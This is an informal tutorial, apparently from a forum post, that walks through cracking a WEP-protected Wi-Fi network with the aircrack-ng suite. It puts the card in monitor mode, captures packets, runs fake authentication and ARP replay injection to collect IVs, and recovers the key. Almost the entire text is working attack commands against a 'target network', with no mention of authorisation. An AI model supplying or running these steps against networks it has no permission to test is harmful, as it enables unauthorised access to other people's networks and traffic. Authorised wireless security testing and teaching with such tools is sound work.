First open a Terminal and then type in: airmon-ng start wlan0 airmon-ng start wlan0 (Basically puts the wireless card into Monitor Mode) airodump-ng mon0 airodump-ng mon0 (the Interface that you need in order to inject IV's) copy BSSID and CHANNEL from airodump-ng for the network your trying to crack/hack Next Open a new Terminal and type in: airodump-ng -w filenamehere -c channelnumberhere --bssid thebssidhere mon0 Next Open another New Terminal and type in: aireplay-ng -1 0 -a thebssidhere mon0 Next open another New Terminal and type in: aireplay-ng -3 -b thebssidhere mon0 Finally after you get over 5,000 IV's you can open another Terminal and type: final aircrack-ng filenamehere-01.cap TheBSSID is the BSSID for the network say example of how a BSSID looks is 00:11:22:33:44:55 ect... Whatever it shows next to the BSSID on airodump-ng is what you wanna replace with thebssidhere As for the filenamehere you want to change this to something you can remember i dont recommend you keep using the same name because the file will change from filename-01.cap to like filename-02.cap depending on how many times that you keep using the same filename for your cap file. Be sure to write down your target networks BSSID and the channel its under!!! Replace the thebssidhere with the targets BSSID and Replace the channelnumberhere with the channel the network is on So if the wireless network is on channel 11 change the channelnumberhere to 11 or whatever number the channel is for the wireless network your after. [MAKE SURE YOU HAVE A COMPATIBLE WIRELESS CARD HIGHLY RECOMMEND THE Alfa AWUS036H can be found on ebay and Amazon]